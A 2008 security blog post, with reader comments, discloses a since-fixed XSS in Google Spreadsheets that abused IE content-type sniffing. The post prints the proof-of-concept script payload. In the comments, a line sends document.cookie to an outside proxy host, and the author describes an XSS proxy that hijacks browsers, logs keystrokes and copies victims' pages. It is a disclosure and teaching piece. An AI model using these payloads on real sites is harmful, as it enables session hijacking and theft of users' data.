Monday, April 14th, 2008

Google XSS

Now, normally when I find an XSS vulnerability on a popular domain I just report it to the appropriate security team and move on, but this one is interesting…



By taking advantage of the content-type returned by spreadsheets.google.com (and a caching flaw on the part of Google), I was able to pull off a full blown XSS against the google.com domain. For those of you who don’t understand what this means, allow me to elaborate. When Google sets their cookie, it is valid for all of their sub domains. So, when you log into gmail (mail.google.com), your gmail cookie is actually valid for code.google.com, docs.google.com, spreadsheets.google.com…and so on. If someone (like me) finds an XSS vulnerability in any one of these sub domains, I’ll be able to hijack your session and access any google service as if I were you.



So, in this instance, I have an XSS on spreadsheets.google.com. With this single XSS, I can read your Gmail, backdoor your source code (code.google.com), steal all your Google Docs, and basically do whatever I want on Google as if I were you! Google’s use of “document.domain=” also make things a little easier to jump from one domain to the next, but that’s another story…



This particular XSS takes advantage of how Internet Explorer determines the content type of the HTTP response being returned by the server. Most would think that explicitly setting the content-type to something that isn’t supposed to be rendered by the browser would easily solve this issue, but it does not. IE isn’t the only browser that will ignore the content-type header in certain circumstances, Firefox, Opera, and Safari will ignore the content-type header as well (in certain circumstances). Security professionals and more importantly developers need to understand the nuances of how the popular web browsers handle various content-type headers, otherwise they may put their web application at risk of XSS. The most comprehensive paper I’ve seen on the subject was written by Blake Frantz of Leviathan. The paper can be found here. It’s a “MUST HAVE” reference for web app security pros. Read it, understand it, protect yourself appropriately or expect others to exploit appropriately…



In this issue, Google set the content-type header for a response which I controlled the content to text/plain. If I can inject what looks like HTML into the first few bytes of the response, I’ll be able to “trick” Internet Explorer into rendering the content as HTML. Luckily for me, I was able to do just that.



I created a spreadsheet on spreadsheets.google.com and for the first cell (A1) I put the following content: “<HTML><body><script>alert(document.cookie)</script></body></HTML>”







I then saved the spreadsheet and generated a link for the spreadsheet to be served as a CSV.



CSV



When this option is selected, the contents of the spreadsheet are displayed inline (the content-disposition header was not explicitly set to “attachment”), IE ignores the content-type header, sniffs the content-type from the response, then proceeds to render the response as if it were HTML. At this point, I control the entire HTML being rendered under an xxx.google.com domain.



XSS



To be fair, Google included a subtle defense to protect against content-type sniffing (padding the response), but those protection measures failed (with a little prodding by me). The issue is fixed, but if you try to reproduce this issue, you’ll see their defense in play. It a solid defense which shows they understand the nuances of content-type sniffing.



I’ll provide some tips on taking ownership of untrusted content and serving it from your server in a later post, but for now take a look at the paper written by Blake Frantz. I’m sure it will open some eyes…

Posted by xssniper | Filed in Security, Web Application Security

  • Hans Nordhaug

    Very interesting (and scary) stuff, and I’ll read the article by Blake Frantz immediately. I have one suggestion that could have made this article even better for the curios, but lazy, of us – a description of the Google defense against the attack. I’ll of course go and test it myself now, but not everybody will.

  • http://kuza55.blogspot.com/ kuza55

    That’s surprising since they fixed the issue on Gmail (by sending files as attachments), either the Gmail issue is a fluke or they don’t communicate security info between teams, which isn’t good…

  • http://wasjournal.blogspot.com/ Kishor

    Interesting. When I was talking with .mario some time ago about alerts I saw in solutions for XSS in eXceSS (http://h4k.in/kishor/xssinexcess/solutions.txt), he told me about this behaviour of IE.

    At that time I tried it against gmail attachments, but there they had padding of first 256 blanks in the attachment. I don’t know why they forgot to do that in docs.

    Anyway, it was a good find.

  • http://www.shenouda.nl/blog Webpromotie

    Great find! Ur famous now. Did Google pay u something for finding a big leak? They should…

  • Pingback: .:Computer Defense:. » Interesting Links

  • http://manicode.blogspot.com Jim Manico

    So you bailed on responsible disclosure because it was interesting?

  • nixdude

    You don’t have to just use lynx or other text based browser, it’s only XSS. So, delete private data upon leaving every website if you don’t already have an automatic option like stealth browsing. I do it out of habit, since you have to have the session cookies in your cache to get infiltrated just delete authentication cookies as soon as you are about to leave the websites where you use login credentials.

  • Pingback: Gmail cookie stolen via Google Spreadsheets « IT Spot

  • Pingback: إمكانية سرقة الكوكيز لبريد قوقل عبر مستندات قوقل « KLadofoRA

  • ted

    Anyone could tell me a hyperlink to the paper written by Blake Frantz?

  • http://work.miramarmike.co.nz Mike Riversdale

    Top work … they now know and have stopped it?

  • xssniper

    @ Hans – Google used “padding” before the user controlled content. The padding prevents the browser from sniffing the content.

    @ Kuza55 – Agreed, content-disposition: attachment will stop this kind of attack cold in its tracks. Content-disposition will NOT help against flash crossdomain.xml or java applet attacks.

    @Kishor – The padding is a pretty solid defense against content-type sniffing. I need to look into whether it prevents crossdomain.xml and applet based attacks (insecure content ownership).

    @ Jim & Mike – I reported this issue to the Google Security Team and waited till they fixed it before talking about it on my blog. I’ve come across several XSS issues on major domains, but I usually don’t blog about them, even after they’ve been fixed.

    @ted – http://www.leviathansecurity.com/pdf/Flirting%20with%20MIME%20Types.pdf

  • Pingback: إغلاق ثغرة خطيرة في غوغل أوفيس

  • Pingback: WhatsMyProblem? - Allround themenblog

  • Pingback: Coqp.com Blog Web Technology news » Blog Archive » Gmail cookie stolen via Google Spreadsheets

  • http://www.googlebig.com Langy

    Good man!!!

    I have submit this news in Home of my portal
    http://www.googlebig.com/news.php?action=fullnews&id=321

  • http://www.opencosmo.com Pasini Mario

    Nice found.

  • Pingback: » News, Trauer, Nüsse & Bier | seoFM - der erste deutsche PodCast für SEOs und Online-Marketer

  • Laine

    And how could you exploit this XSS?

    When the user clicks your link he just gets that alert…

    Is it even possible to steal cookie this way?

  • xssniper

    @ Laine – WOW… haha.. I control the ENTIRE HTML on the page if you can’t think of how this would be exploited, you need to catch up with the rest of the world… seriously… the post was a “Proof of Concept”…

    To be fair, I guess there are still lots of people out there that don’t understand the full impact of XSS yet. I guess I could have pointed it at my XSS Proxy (XS-Sniper) via a script src tag

  • http://blogoscoped.com Philipp Lenssen

    We reported on this in 2007 without disclosing details* and also alerted Google security — do you know when they fixed this?

    * http://blogoscoped.com/archive/2007-09-28-n28.html

  • xssniper

    @ Philipp – Not sure on the exact date, I orginally showed the Google Security team the Proof of Concept on 31 March 2008 and it was fixed by the time I had my first beer with members of the GST at RSA… (aka BEFORE I wrote about it in my blog)

  • Laine

    Do you mean something like:

    document.location=’http://www.xs-sniper.com.com/proxy.php?cookie=’+document.cookie

    ?

  • xssniper

    @ Laine – Why just steal the cookies when I can hijack the whole browser (and then steal the cookies)?

    <script src = “path-to-xssniper”></script> is the better way to go…

    if you’re confused, check out Anton Rager Shmoocon 2005 talk on XSS-Proxy. I’ve created my own XSS proxy (called XS-Sniper, which some people have seen at various security conferences), which is based off of Anton’s XSS-Proxy

    http://xss-proxy.sourceforge.net/shmoocon-XSS-Proxy.ppt

    And NO.. I won’t give you XS-Sniper…. and those that already have a copy probably won’t give it to you either :p

  • Laine

    The whole browser? Like a telnet session with DOM?

  • xssniper

    @ Laine – There are a lot of sweet things you can do. My favorite piece of functionality I built into XS-Sniper is SniperScope, which basically steals the HTML off of the victims browser and ferries it back to the XSS Proxy. It basically allows me to “shoulder surf” the XSSd victim. Keylogging is pretty sweet to, especially when XS-Sniper automatically decodes the keycodes as they come in. We actually used these two features on a pen-test (back in my consulting days) with great success…

    The proxy follows the victim to each page (in the same domain), so if they decide to navigate elsewhere, I don’t have to worry about losing my control channel :)

  • Pingback: Zero Day mobile edition

  • Pingback: Another Reason To Ditch IE. As If We Didn’t Have Enough Already. « Media Junkie

  • Laine

    Holy smokes, xssniper! It got me all excited. I dreamed about this night and I want to be as skillful as you are.

    How does the following happen?

    Do all the urls get rewritten in some smart manner?

  • xssniper

    @ Laine – Actually no, the call to the “script src” is actually a call to a dynamic javascript generated by the XSS-Proxy, which creates three iframes. One iframe for the victim to see and navigate on, the other two are invisible and act as a control channel and payload passing mechanism. No URL rewrites are necessary.

  • Laine

    Amazing. One more question, does this method hijack the whole browser, or just that domain?

  • Pingback: Falha já corrigida no Google Apps permitia acesso a serviços do Google | Manoel Franklin

  • Pingback: Union Softwares - Blog » Falha já corrigida no Google Apps permitia acesso a serviços do Google

  • xssniper

    @ Laine – Getting that first XSS to execute it in the browser is the toughest, once that XSS has executed, you’re not necessarily tied to that domain anymore. The “Pope” and I spoke about this at Blackhat Europe last year…

    Kicking Down the Cross Domain Door:

    http://www.blackhat.com/presentations/bh-europe-07/Dube-Rios/Whitepaper/bh-eu-07-rios-WP.pdf

  • Pingback: Shadow Security Blog » Detectan agujero de seguridad en Google Apps

  • http://www.lorm.de/ Malte Landwehr

    This is a good example why “the online office” is not an alternative to current office software. It is just not safe.

  • Pingback: Revue de presse

  • Pingback: Web 2.0 Ideenklau! Oder bin nur ich paranoid? | Blogmillionär

  • Pingback: Google Health « NonaTheNinja

  • http://lostmon.blogspot.com Lostmon

    Thanks for sharing some of your knowledge !!!

  • http://www.j2menedir.com Murat ÇOLAk

    I find one xss too. and its on my page. www j2menedir com

  • http://www.j2menedir.com Murat ÇOLAK

  • Pingback: GoogleBig » Blog Archive » XSS vulnerability found by Billy (BK) Rios in Google Spreadsheets

  • Pingback: Sicherheitslücke in Spreadsheets « GoogleWatchBlog WP Test

free themes for a free world by tequilo.de and wp.org